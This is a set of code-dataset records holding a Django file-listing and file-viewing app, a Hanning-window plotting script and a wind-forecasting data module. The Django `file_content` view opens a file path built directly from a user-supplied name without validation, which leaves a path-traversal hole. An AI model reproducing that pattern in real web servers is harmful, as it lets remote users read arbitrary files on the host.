{"seq_id": "37601769058", "text": "import datetime\nfrom datetime import datetime as d\nimport time\nimport os\nfrom os import listdir, stat\n\n\nfrom django.shortcuts import render\n\nBASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\nFILES_PATH = os.path.join(BASE_DIR, 'files')\n\n\ndef file_list(request, dat=None):\n    template_name = 'index.html'\n    file_l = []\n    if dat:\n        ddate = d.strptime(dat, '%Y-%m-%d')\n        for file in listdir(FILES_PATH):\n            statinfo = stat(FILES_PATH + '\\\\' + file)\n            mt = time.gmtime(statinfo.st_mtime)\n            mtime = datetime.date(mt.tm_year, mt.tm_mon, mt.tm_mday)\n            ct = time.gmtime(statinfo.st_ctime)\n            ctime = datetime.date(ct.tm_year, ct.tm_mon, ct.tm_mday)\n            if ctime == ddate:\n                file_info = {'name': file,\n                             'ctime': ctime,\n                             'mtine': mtime\n                         }\n                file_l.append(file_info)\n        context = {'files': file_l,\n                   'date': ddate\n                   }\n        return render(request, template_name, context)\n    for file in listdir(FILES_PATH):\n        statinfo = stat(FILES_PATH + '\\\\' + file)\n        mt = time.gmtime(statinfo.st_mtime)\n        mtime = datetime.date(mt.tm_year, mt.tm_mon, mt.tm_mday)\n        ct = time.gmtime(statinfo.st_ctime)\n        ctime = datetime.date(ct.tm_year, ct.tm_mon, ct.tm_mday)\n        file_info = {'name': file,\n                     'ctime': ctime,\n                     'mtine': mtime\n        }\n        file_l.append(file_info)\n    context = {'files': file_l\n               }\n    return render(request, template_name, context)\n\n\ndef file_content(request, name):\n    with open(FILES_PATH + '\\\\' + name) as file:\n        my_text = file.read()\n    return render(\n        request,\n        'file_content.html',\n        context={'file_name': name, 'file_content': my_text}\n    )\n\n", "repo_name": "polanko78/dj", "sub_path": "request-handling/file_server/app/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 1905, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "os.path.dirname", "line_number": 10, "usage_type": "call"}, {"api_name": "os.path", "line_number": 10, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 10, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 11, "usage_type": "call"}, {"api_name": "os.path", "line_number": 11, "usage_type": "attribute"}, {"api_name": "datetime.datetime.strptime", "line_number": 18, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 18, "usage_type": "name"}, {"api_name": "os.listdir", "line_number": 19, "usage_type": "call"}, {"api_name": "os.stat", "line_number": 20, "usage_type": "call"}, {"api_name": "time.gmtime", "line_number": 21, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 22, "usage_type": "call"}, {"api_name": "time.gmtime", "line_number": 23, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 24, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 34, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 35, "usage_type": "call"}, {"api_name": "os.stat", "line_number": 36, "usage_type": "call"}, {"api_name": "time.gmtime", "line_number": 37, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 38, "usage_type": "call"}, {"api_name": "time.gmtime", "line_number": 39, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 40, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 48, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 54, "usage_type": "call"}]}
{"seq_id": "35484542490", "text": "import numpy as np\nimport matplotlib.pyplot as plt\nimport cmath as cm\nwh=[]\nm=31\nfor n in range(0,m):\n\tp=0.5*np.cos((2*np.pi*n)/(m-1))\n\ty=0.5-p\n\twh=np.append(wh,y)\nplt.stem(wh)\nplt.show()\n\t\n\n", "repo_name": "r151836/r151836", "sub_path": "hanning.py", "file_name": "hanning.py", "file_ext": "py", "file_size_in_byte": 191, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "numpy.cos", "line_number": 7, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 7, "usage_type": "attribute"}, {"api_name": "numpy.append", "line_number": 9, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.stem", "line_number": 10, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 10, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 11, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 11, "usage_type": "name"}]}
{"seq_id": "6644571096", "text": "import os\nfrom itertools import chain\nfrom pathlib import Path\nfrom typing import Optional, Tuple, List\n\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport seaborn as sns\nfrom torch.utils.data import DataLoader\nfrom torch.utils.data.dataloader import default_collate\nfrom tqdm import tqdm\n\nfrom synop.consts import SYNOP_PERIODIC_FEATURES, LOWER_CLOUDS, CLOUD_COVER\nfrom util.coords import Coords\nfrom wind_forecast.config.register import Config\nfrom wind_forecast.consts import BatchKeys\nfrom wind_forecast.consts import SYNOP_DATASETS_DIRECTORY\nfrom wind_forecast.datamodules.SplittableDataModule import SplittableDataModule\nfrom wind_forecast.datasets.ConcatDatasets import ConcatDatasets\nfrom wind_forecast.datasets.Sequence2SequenceGFSDataset import Sequence2SequenceGFSDataset\nfrom wind_forecast.datasets.Sequence2SequenceSynopDataset import Sequence2SequenceSynopDataset\nfrom wind_forecast.preprocess.synop.synop_preprocess import prepare_synop_dataset, \\\n    modify_feature_names_after_periodic_reduction\nfrom wind_forecast.util.common_util import NormalizationType\nfrom wind_forecast.util.config import process_config\nfrom wind_forecast.util.df_util import normalize_data_for_training, decompose_data, resolve_indices\nfrom wind_forecast.util.gfs_util import add_param_to_train_params, \\\n    GFSUtil, extend_wind_components, decompose_gfs_data, get_gfs_target_param\nfrom wind_forecast.util.logging import log\nfrom wind_forecast.util.synop_util import get_correct_dates_for_sequence\n\n\nclass Sequence2SequenceDataModule(SplittableDataModule):\n\n    def __init__(\n            self,\n            config: Config\n    ):\n        super().__init__(config)\n        self.config = config\n        self.batch_size = config.experiment.batch_size\n        self.shuffle = config.experiment.shuffle\n\n        self.synop_train_params = config.experiment.synop_train_features\n        self.target_param = config.experiment.target_parameter\n        all_params = add_param_to_train_params(self.synop_train_params, self.target_param)\n        self.synop_feature_names = list(list(zip(*all_params))[1])\n\n        self.synop_file = config.experiment.synop_file\n        self.synop_from_year = config.experiment.synop_from_year\n        self.synop_to_year = config.experiment.synop_to_year\n        self.sequence_length = config.experiment.sequence_length\n        self.future_sequence_length = config.experiment.future_sequence_length\n        self.normalization_type = config.experiment.normalization_type\n        self.prediction_offset = config.experiment.prediction_offset\n        coords = config.experiment.target_coords\n        self.target_coords = Coords(coords[0], coords[0], coords[1], coords[1])\n\n        self.gfs_features_params = process_config(config.experiment.train_parameters_config_file).params\n        self.gfs_features_names = [f\"{f['name']}_{f['level']}\" for f in self.gfs_features_params]\n        self.gfs_wind_parameters = [\"V GRD_HTGL_10\", \"U GRD_HTGL_10\"]\n\n        self.gfs_target_param = get_gfs_target_param(self.target_param)\n\n        self.gfs_util = GFSUtil(self.target_coords, self.sequence_length, self.future_sequence_length,\n                                self.prediction_offset, self.gfs_features_params)\n\n        self.periodic_features = config.experiment.synop_periodic_features\n        self.uses_future_sequences = True\n\n        self.synop_data = ...\n        self.gfs_data = ...\n        self.data_indices = ...\n        self.synop_mean = ...\n        self.synop_std = ...\n        self.synop_min = ...\n        self.synop_max = ...\n        self.gfs_mean = ...\n        self.gfs_std = ...\n        self.gfs_min = ...\n        self.gfs_max = ...\n        self.synop_dates = ...\n\n    def prepare_data(self, *args, **kwargs):\n        self.load_from_disk(self.config)\n\n        if self.initialized:\n            if self.config.experiment._tags_[0] == 'GFS':\n                self.eliminate_gfs_bias()\n            return\n\n        self.synop_data = prepare_synop_dataset(self.synop_file,\n                                                list(list(zip(*self.synop_train_params))[1]),\n                                                dataset_dir=SYNOP_DATASETS_DIRECTORY,\n                                                from_year=self.synop_from_year,\n                                                to_year=self.synop_to_year,\n                                                norm=False)\n\n        if self.config.debug_mode:\n            self.synop_data = self.synop_data.head(self.sequence_length * 20)\n\n        self.after_synop_loaded()\n\n        self.synop_feature_names = modify_feature_names_after_periodic_reduction(self.synop_feature_names)\n\n        # Get indices which correspond to 'dates' - 'dates' are the ones, which start a proper sequence without breaks\n        self.data_indices = self.synop_data[self.synop_data[\"date\"].isin(self.synop_dates)].index\n\n        if self.config.experiment.stl_decompose:\n            self.synop_decompose()\n            features_to_normalize = self.synop_feature_names\n        else:\n            # do not normalize periodic features\n            features_to_normalize = [name for name in self.synop_feature_names if name not in\n                                     modify_feature_names_after_periodic_reduction(\n                                         [f['column'][1] for f in SYNOP_PERIODIC_FEATURES])]\n\n        # data was not normalized, so take all frames which will be used, compute std and mean and normalize data\n        self.synop_data, self.synop_mean, self.synop_std, self.synop_min, self.synop_max = normalize_data_for_training(\n            self.synop_data, self.data_indices, features_to_normalize,\n            self.sequence_length + self.prediction_offset + self.future_sequence_length,\n            self.normalization_type)\n\n        log.info(f\"Synop target mean: {self.synop_mean[self.target_param]}\")\n        log.info(f\"Synop target std: {self.synop_std[self.target_param]}\")\n\n    def after_synop_loaded(self):\n        self.synop_dates = get_correct_dates_for_sequence(self.synop_data, self.sequence_length,\n                                                          self.future_sequence_length,\n                                                          self.prediction_offset)\n\n        self.synop_data = self.synop_data.reset_index()\n\n    def setup(self, stage: Optional[str] = None):\n        if self.initialized:\n            self.log_dataset_info()\n            return\n        if self.get_from_cache(stage):\n            self.log_dataset_info()\n            return\n\n        if self.config.experiment.load_gfs_data:\n            self.prepare_dataset_for_gfs()\n            synop_dataset = Sequence2SequenceSynopDataset(self.config, self.synop_data, self.data_indices,\n                                                          self.synop_feature_names)\n            synop_dataset.set_mean(self.synop_mean)\n            synop_dataset.set_std(self.synop_std)\n            synop_dataset.set_min(self.synop_min)\n            synop_dataset.set_max(self.synop_max)\n\n            gfs_dataset = Sequence2SequenceGFSDataset(self.config, self.gfs_data, self.data_indices, self.gfs_features_names)\n            gfs_dataset.set_mean(self.gfs_mean)\n            gfs_dataset.set_std(self.gfs_std)\n            gfs_dataset.set_min(self.gfs_min)\n            gfs_dataset.set_max(self.gfs_max)\n            dataset = ConcatDatasets(synop_dataset, gfs_dataset)\n        else:\n            synop_dataset = Sequence2SequenceSynopDataset(self.config, self.synop_data, self.data_indices,\n                                                          self.synop_feature_names)\n            synop_dataset.set_mean(self.synop_mean)\n            synop_dataset.set_std(self.synop_std)\n            synop_dataset.set_min(self.synop_min)\n            synop_dataset.set_max(self.synop_max)\n            dataset = synop_dataset\n\n        if len(dataset) == 0:\n            raise RuntimeError(\"There are no valid samples in the dataset! Please check your run configuration\")\n\n        self.split_dataset(self.config, dataset, self.sequence_length)\n        self.log_dataset_info()\n\n        if self.config.experiment._tags_[0] == 'GFS':\n            self.eliminate_gfs_bias()\n\n    def prepare_dataset_for_gfs(self):\n        log.info(\"Preparing the GFS dataset\")\n        # match GFS and synop sequences\n        self.data_indices, self.gfs_data = self.gfs_util.match_gfs_with_synop_sequence2sequence(\n            self.synop_data,\n            self.data_indices)\n\n        if all([f in self.gfs_features_names for f in self.gfs_wind_parameters]):\n            self.gfs_data = self.prepare_gfs_data_with_wind_components(self.gfs_data)\n\n        if self.config.experiment.stl_decompose:\n            self.gfs_features_names = self.gfs_decompose()\n            features_to_normalize = [*self.gfs_features_names]\n        else:\n            # do not normalize periodic features\n            features_to_normalize = [name for name in self.gfs_features_names if name not in [\"wind-sin\", \"wind-cos\"]]\n\n        features_to_normalize.remove(self.gfs_target_param)\n\n        # normalize GFS parameters data\n        self.gfs_data, self.gfs_mean, self.gfs_std, self.gfs_min, self.gfs_max = normalize_data_for_training(\n            self.gfs_data, self.data_indices, features_to_normalize,\n            self.sequence_length + self.prediction_offset + self.future_sequence_length,\n            self.normalization_type)\n\n        target_data = self.gfs_data[self.gfs_target_param]\n\n        if self.target_param in [LOWER_CLOUDS[1], CLOUD_COVER[1]]:\n            self.gfs_data[self.gfs_target_param] = target_data / 100\n        else:\n            if self.normalization_type == NormalizationType.STANDARD:\n                self.gfs_mean[self.gfs_target_param] = target_data.mean(axis=0)\n                self.gfs_std[self.gfs_target_param] = target_data.std(axis=0)\n                self.gfs_data[self.gfs_target_param] = (target_data - target_data.mean(axis=0)) / target_data.std(axis=0)\n            else:\n                self.gfs_min[self.gfs_target_param] = target_data.min(axis=0)\n                self.gfs_max[self.gfs_target_param] = target_data.max(axis=0)\n                self.gfs_data[self.gfs_target_param] = (target_data - target_data.min(axis=0)) / (target_data.max(axis=0) - target_data.min(axis=0))\n\n        if self.target_param == \"wind_direction\":\n            # TODO handle this case - as for now we do not use this parameter as target\n            pass\n\n    def resolve_all_synop_data(self):\n        synop_inputs = []\n        all_synop_targets = []\n        synop_data_dates = self.synop_data['date']\n        train_params = list(list(zip(*self.synop_train_params))[1])\n        # all_targets and dates - dates are needed for matching the labels against GFS dates\n        all_targets_and_labels = pd.concat([synop_data_dates, self.synop_data[train_params]], axis=1)\n\n        for index in tqdm(self.data_indices):\n            synop_inputs.append(\n                self.synop_data.iloc[index:index + self.sequence_length][[*train_params, 'date']])\n            all_synop_targets.append(all_targets_and_labels.iloc[\n                                     index + self.sequence_length + self.prediction_offset:index + self.sequence_length + self.prediction_offset + self.future_sequence_length])\n\n        return synop_inputs, all_synop_targets\n\n    def prepare_gfs_data_with_wind_components(self, gfs_data: pd.DataFrame):\n        gfs_wind_data = gfs_data[self.gfs_wind_parameters]\n        gfs_data.drop(columns=self.gfs_wind_parameters, inplace=True)\n        velocity, sin, cos = extend_wind_components(gfs_wind_data.values)\n        gfs_data[\"wind-velocity\"] = velocity\n        gfs_data[\"wind-sin\"] = sin\n        gfs_data[\"wind-cos\"] = cos\n        self.gfs_features_names.remove(self.gfs_wind_parameters[0])\n        self.gfs_features_names.remove(self.gfs_wind_parameters[1])\n        self.gfs_features_names.extend([\"wind-velocity\", \"wind-sin\", \"wind-cos\"])\n        return gfs_data\n\n    def train_dataloader(self):\n        return DataLoader(self.dataset_train,\n                          batch_size=len(self.dataset_train) if self.batch_size == 0 else self.batch_size,\n                          shuffle=self.shuffle,\n                          collate_fn=self.collate_fn, num_workers=self.config.experiment.num_workers)\n\n    def val_dataloader(self):\n        return DataLoader(self.dataset_val,\n                          batch_size=len(self.dataset_val) if self.batch_size == 0 else self.batch_size,\n                          collate_fn=self.collate_fn,\n                          num_workers=self.config.experiment.num_workers)\n\n    def test_dataloader(self):\n        return DataLoader(self.dataset_test,\n                          batch_size=len(self.dataset_test) if self.batch_size == 0 else self.batch_size,\n                          collate_fn=self.collate_fn,\n                          num_workers=self.config.experiment.num_workers)\n\n    def collate_fn(self, x: List[Tuple]):\n        if self.config.experiment.load_gfs_data:\n            synop_data, gfs_data = [item[0] for item in x], [item[1] for item in x]\n            synop_data, dates = [[*item[:4], *item[6:]] for item in synop_data], [item[4:6] for item in synop_data]\n            all_data = [*default_collate(synop_data), *default_collate(gfs_data),  *list(zip(*dates))]\n        else:\n            synop_data, dates = [[*item[:4], *item[6:]] for item in x], [item[4:6] for item in x]\n            all_data = [*default_collate(synop_data),  *list(zip(*dates))]\n\n        dict_data = {\n            BatchKeys.SYNOP_PAST_Y.value: all_data[0],\n            BatchKeys.SYNOP_PAST_X.value: all_data[1],\n            BatchKeys.SYNOP_FUTURE_Y.value: all_data[2],\n            BatchKeys.SYNOP_FUTURE_X.value: all_data[3],\n            BatchKeys.DATES_PAST.value: all_data[-2],\n            BatchKeys.DATES_FUTURE.value: all_data[-1]\n        }\n\n        if self.config.experiment.load_gfs_data:\n            dict_data[BatchKeys.GFS_PAST_X.value] = all_data[4]\n            dict_data[BatchKeys.GFS_PAST_Y.value] = all_data[5]\n            dict_data[BatchKeys.GFS_FUTURE_X.value] = all_data[6]\n            dict_data[BatchKeys.GFS_FUTURE_Y.value] = all_data[7]\n\n            if self.config.experiment.differential_forecast:\n                target_mean = self.dataset_train.dataset.get_dataset(\"Sequence2SequenceSynopDataset\").mean[self.target_param]\n                target_std = self.dataset_train.dataset.get_dataset(\"Sequence2SequenceSynopDataset\").std[self.target_param]\n                gfs_past_y = dict_data[BatchKeys.GFS_PAST_Y.value] * target_std + target_mean\n                gfs_future_y = dict_data[BatchKeys.GFS_FUTURE_Y.value] * target_std + target_mean\n                synop_past_y = dict_data[BatchKeys.SYNOP_PAST_Y.value].unsqueeze(-1) * target_std + target_mean\n                synop_future_y = dict_data[BatchKeys.SYNOP_FUTURE_Y.value].unsqueeze(-1) * target_std + target_mean\n                diff_past = gfs_past_y - synop_past_y\n                diff_future = gfs_future_y - synop_future_y\n                dict_data[BatchKeys.GFS_SYNOP_PAST_DIFF.value] = diff_past / target_std\n                dict_data[BatchKeys.GFS_SYNOP_FUTURE_DIFF.value] = diff_future / target_std\n\n        return dict_data\n\n    def synop_decompose(self):\n        target_param_series = self.synop_data[self.target_param]\n        self.synop_data = decompose_data(self.synop_data, self.synop_feature_names)\n        self.synop_data[self.target_param] = target_param_series\n        self.synop_feature_names = list(\n            chain.from_iterable(\n                (f\"{feature}_T\", f\"{feature}_S\", f\"{feature}_R\") for feature in self.synop_feature_names))\n        self.synop_feature_names.append(self.target_param)\n\n    def gfs_decompose(self):\n        target_param_series = self.gfs_data[self.gfs_target_param]\n        self.gfs_data = decompose_gfs_data(self.gfs_data, self.gfs_features_names)\n        self.gfs_data[self.gfs_target_param] = target_param_series\n        new_gfs_features_names = list(\n            chain.from_iterable(\n                (f\"{feature}_T\", f\"{feature}_S\", f\"{feature}_R\") for feature in self.gfs_features_names))\n        new_gfs_features_names.append(self.gfs_target_param)\n        return new_gfs_features_names\n\n    def eliminate_gfs_bias(self):\n        target_mean = self.dataset_train.dataset.get_dataset(\"Sequence2SequenceSynopDataset\").mean[self.target_param]\n        target_std = self.dataset_train.dataset.get_dataset(\"Sequence2SequenceSynopDataset\").std[self.target_param]\n\n        # we can check what is the mean GFS error and just add it to target values to improve performance. We assume we know only train data\n        train_indices = [self.dataset_train.dataset.data[index] for index in self.dataset_train.indices]\n        all_gfs_data = resolve_indices(self.dataset_train.dataset.gfs_data, train_indices,\n                                       self.sequence_length + self.prediction_offset + self.future_sequence_length)\n        targets = all_gfs_data[self.gfs_target_param].values\n        all_synop_data = resolve_indices(self.dataset_train.dataset.synop_data, train_indices,\n                                         self.sequence_length + self.prediction_offset + self.future_sequence_length)\n        synop_targets = all_synop_data[self.target_param].values\n\n        real_gfs_train_targets = targets * target_std + target_mean\n\n        real_diff = (synop_targets * target_std + target_mean - real_gfs_train_targets)\n\n        plt.figure(figsize=(20, 10))\n        plt.tight_layout()\n        sns.displot(real_diff, bins=100, kde=True)\n        plt.ylabel('Liczebność')\n        plt.xlabel('Różnica')\n\n        os.makedirs(os.path.join(Path(__file__).parent, \"plots\"), exist_ok=True)\n        plt.savefig(\n            os.path.join(Path(__file__).parent, \"plots\", f\"gfs_diff_{self.config.experiment.target_parameter}.png\"),\n            dpi=200, bbox_inches='tight')\n\n        bias = real_diff.mean(axis=0)\n        real_gfs_targets = self.dataset_test.dataset.gfs_data[self.gfs_target_param] * target_std + target_mean\n        self.dataset_test.dataset.gfs_data[self.gfs_target_param] = (real_gfs_targets + bias - target_mean) / target_std\n\n    def log_dataset_info(self):\n        log.info('Dataset train len: ' + str(len(self.dataset_train)))\n        log.info('Dataset val len: ' + ('0' if self.dataset_val is None else str(len(self.dataset_val))))\n        log.info('Dataset test len: ' + str(len(self.dataset_test)))\n\n        log.info('Dataset train first date: ' +\n                 str(self.dataset_train.dataset.get_dataset(\"Sequence2SequenceSynopDataset\")[self.dataset_train.indices[0]][4][0]))\n        log.info('Dataset train last date: ' +\n                 str(self.dataset_train.dataset.get_dataset(\"Sequence2SequenceSynopDataset\")[self.dataset_train.indices[-1]][5][-1]))\n        log.info('Dataset val first date: ' +\n                 str(self.dataset_val.dataset.get_dataset(\"Sequence2SequenceSynopDataset\")[self.dataset_val.indices[0]][4][0]))\n        log.info('Dataset val last date: ' +\n                 str(self.dataset_val.dataset.get_dataset(\"Sequence2SequenceSynopDataset\")[self.dataset_val.indices[-1]][5][-1]))\n        log.info('Dataset test first date: ' +\n                 str(self.dataset_test.dataset.get_dataset(\"Sequence2SequenceSynopDataset\")[self.dataset_test.indices[0]][4][0]))\n        log.info('Dataset test last date: ' +\n                 str(self.dataset_test.dataset.get_dataset(\"Sequence2SequenceSynopDataset\")[self.dataset_test.indices[-1]][5][-1]))\n\n", "repo_name": "adambelniak/WindForecast", "sub_path": "src/wind_forecast/datamodules/Sequence2SequenceDataModule.py", "file_name": "Sequence2SequenceDataModule.py", "file_ext": "py", "file_size_in_byte": 19485, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "81", "api": [{"api_name": "wind_forecast.datamodules.SplittableDataModule.SplittableDataModule", "line_number": 33, "usage_type": "name"}, {"api_name": "wind_forecast.config.register.Config", "line_number": 37, "usage_type": "name"}, {"api_name": "wind_forecast.util.gfs_util.add_param_to_train_params", "line_number": 46, "usage_type": "call"}, {"api_name": "util.coords.Coords", "line_number": 57, "usage_type": "call"}, {"api_name": "wind_forecast.util.config.process_config", "line_number": 59, "usage_type": "call"}, {"api_name": "wind_forecast.util.gfs_util.get_gfs_target_param", "line_number": 63, "usage_type": "call"}, {"api_name": "wind_forecast.util.gfs_util.GFSUtil", "line_number": 65, "usage_type": "call"}, {"api_name": "wind_forecast.preprocess.synop.synop_preprocess.prepare_synop_dataset", "line_number": 92, "usage_type": "call"}, {"api_name": "wind_forecast.consts.SYNOP_DATASETS_DIRECTORY", "line_number": 94, "usage_type": "name"}, {"api_name": "wind_forecast.preprocess.synop.synop_preprocess.modify_feature_names_after_periodic_reduction", "line_number": 104, "usage_type": "call"}, {"api_name": "wind_forecast.preprocess.synop.synop_preprocess.modify_feature_names_after_periodic_reduction", "line_number": 115, "usage_type": "call"}, {"api_name": "synop.consts.SYNOP_PERIODIC_FEATURES", "line_number": 116, "usage_type": "name"}, {"api_name": "wind_forecast.util.df_util.normalize_data_for_training", "line_number": 119, "usage_type": "call"}, {"api_name": "wind_forecast.util.logging.log.info", "line_number": 124, "usage_type": "call"}, {"api_name": "wind_forecast.util.logging.log", "line_number": 124, "usage_type": "name"}, {"api_name": "wind_forecast.util.logging.log.info", "line_number": 125, "usage_type": "call"}, {"api_name": "wind_forecast.util.logging.log", "line_number": 125, "usage_type": "name"}, {"api_name": "wind_forecast.util.synop_util.get_correct_dates_for_sequence", "line_number": 128, "usage_type": "call"}, {"api_name": "typing.Optional", "line_number": 134, "usage_type": "name"}, {"api_name": "wind_forecast.datasets.Sequence2SequenceSynopDataset.Sequence2SequenceSynopDataset", "line_number": 144, "usage_type": "call"}, {"api_name": "wind_forecast.datasets.Sequence2SequenceGFSDataset.Sequence2SequenceGFSDataset", "line_number": 151, "usage_type": "call"}, {"api_name": "wind_forecast.datasets.ConcatDatasets.ConcatDatasets", "line_number": 156, "usage_type": "call"}, {"api_name": "wind_forecast.datasets.Sequence2SequenceSynopDataset.Sequence2SequenceSynopDataset", "line_number": 158, "usage_type": "call"}, {"api_name": "wind_forecast.util.logging.log.info", "line_number": 176, "usage_type": "call"}, {"api_name": "wind_forecast.util.logging.log", "line_number": 176, "usage_type": "name"}, {"api_name": "wind_forecast.util.df_util.normalize_data_for_training", "line_number": 195, "usage_type": "call"}, {"api_name": "synop.consts.LOWER_CLOUDS", "line_number": 202, "usage_type": "name"}, {"api_name": "synop.consts.CLOUD_COVER", "line_number": 202, "usage_type": "name"}, {"api_name": "wind_forecast.util.common_util.NormalizationType.STANDARD", "line_number": 205, "usage_type": "attribute"}, {"api_name": "wind_forecast.util.common_util.NormalizationType", "line_number": 205, "usage_type": "name"}, {"api_name": "pandas.concat", "line_number": 224, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 226, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 234, "usage_type": "attribute"}, {"api_name": "wind_forecast.util.gfs_util.extend_wind_components", "line_number": 237, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 247, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 253, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 259, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 264, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 264, "usage_type": "name"}, {"api_name": "torch.utils.data.dataloader.default_collate", "line_number": 268, "usage_type": "call"}, {"api_name": "torch.utils.data.dataloader.default_collate", "line_number": 271, "usage_type": "call"}, {"api_name": "wind_forecast.consts.BatchKeys.SYNOP_PAST_Y", "line_number": 274, "usage_type": "attribute"}, {"api_name": "wind_forecast.consts.BatchKeys", "line_number": 274, "usage_type": "name"}, {"api_name": "wind_forecast.consts.BatchKeys.SYNOP_PAST_X", "line_number": 275, "usage_type": "attribute"}, {"api_name": "wind_forecast.consts.BatchKeys", "line_number": 275, "usage_type": "name"}, {"api_name": "wind_forecast.consts.BatchKeys.SYNOP_FUTURE_Y", "line_number": 276, "usage_type": "attribute"}, {"api_name": "wind_forecast.consts.BatchKeys", "line_number": 276, "usage_type": "name"}, {"api_name": "wind_forecast.consts.BatchKeys.SYNOP_FUTURE_X", "line_number": 277, "usage_type": "attribute"}, {"api_name": "wind_forecast.consts.BatchKeys", "line_number": 277, "usage_type": "name"}, {"api_name": "wind_forecast.consts.BatchKeys.DATES_PAST", "line_number": 278, "usage_type": "attribute"}, {"api_name": "wind_forecast.consts.BatchKeys", "line_number": 278, "usage_type": "name"}, {"api_name": "wind_forecast.consts.BatchKeys.DATES_FUTURE", "line_number": 279, "usage_type": "attribute"}, {"api_name": "wind_forecast.consts.BatchKeys", "line_number": 279, "usage_type": "name"}, {"api_name": "wind_forecast.consts.BatchKeys.GFS_PAST_X", "line_number": 283, "usage_type": "attribute"}, {"api_name": "wind_forecast.consts.BatchKeys", "line_number": 283, "usage_type": "name"}, {"api_name": "wind_forecast.consts.BatchKeys.GFS_PAST_Y", "line_number": 284, "usage_type": "attribute"}, {"api_name": "wind_forecast.consts.BatchKeys", "line_number": 284, "usage_type": "name"}, {"api_name": "wind_forecast.consts.BatchKeys.GFS_FUTURE_X", "line_number": 285, "usage_type": "attribute"}, {"api_name": "wind_forecast.consts.BatchKeys", "line_number": 285, "usage_type": "name"}, {"api_name": "wind_forecast.consts.BatchKeys.GFS_FUTURE_Y", "line_number": 286, "usage_type": "attribute"}, {"api_name": "wind_forecast.consts.BatchKeys", "line_number": 286, "usage_type": "name"}, {"api_name": "wind_forecast.consts.BatchKeys.GFS_PAST_Y", "line_number": 291, "usage_type": "attribute"}, {"api_name": "wind_forecast.consts.BatchKeys", "line_number": 291, "usage_type": "name"}, {"api_name": "wind_forecast.consts.BatchKeys.GFS_FUTURE_Y", "line_number": 292, "usage_type": "attribute"}, {"api_name": "wind_forecast.consts.BatchKeys", "line_number": 292, "usage_type": "name"}, {"api_name": "wind_forecast.consts.BatchKeys.SYNOP_PAST_Y", "line_number": 293, "usage_type": "attribute"}, {"api_name": "wind_forecast.consts.BatchKeys", "line_number": 293, "usage_type": "name"}, {"api_name": "wind_forecast.consts.BatchKeys.SYNOP_FUTURE_Y", "line_number": 294, "usage_type": "attribute"}, {"api_name": "wind_forecast.consts.BatchKeys", "line_number": 294, "usage_type": "name"}, {"api_name": "wind_forecast.consts.BatchKeys.GFS_SYNOP_PAST_DIFF", "line_number": 297, "usage_type": "attribute"}, {"api_name": "wind_forecast.consts.BatchKeys", "line_number": 297, "usage_type": "name"}, {"api_name": "wind_forecast.consts.BatchKeys.GFS_SYNOP_FUTURE_DIFF", "line_number": 298, "usage_type": "attribute"}, {"api_name": "wind_forecast.consts.BatchKeys", "line_number": 298, "usage_type": "name"}, {"api_name": "wind_forecast.util.df_util.decompose_data", "line_number": 304, "usage_type": "call"}, {"api_name": "itertools.chain.from_iterable", "line_number": 307, "usage_type": "call"}, {"api_name": "itertools.chain", "line_number": 307, "usage_type": "name"}, {"api_name": "wind_forecast.util.gfs_util.decompose_gfs_data", "line_number": 313, "usage_type": "call"}, {"api_name": "itertools.chain.from_iterable", "line_number": 316, "usage_type": "call"}, {"api_name": "itertools.chain", "line_number": 316, "usage_type": "name"}, {"api_name": "wind_forecast.util.df_util.resolve_indices", "line_number": 327, "usage_type": "call"}, {"api_name": "wind_forecast.util.df_util.resolve_indices", "line_number": 330, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 338, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 338, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 339, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 339, "usage_type": "name"}, {"api_name": "seaborn.displot", "line_number": 340, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 341, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 341, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 342, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 342, "usage_type": "name"}, {"api_name": "os.makedirs", "line_number": 344, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 344, "usage_type": "call"}, {"api_name": "os.path", "line_number": 344, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 344, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 345, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 345, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 346, "usage_type": "call"}, {"api_name": "os.path", "line_number": 346, "usage_type": "attribute"}, 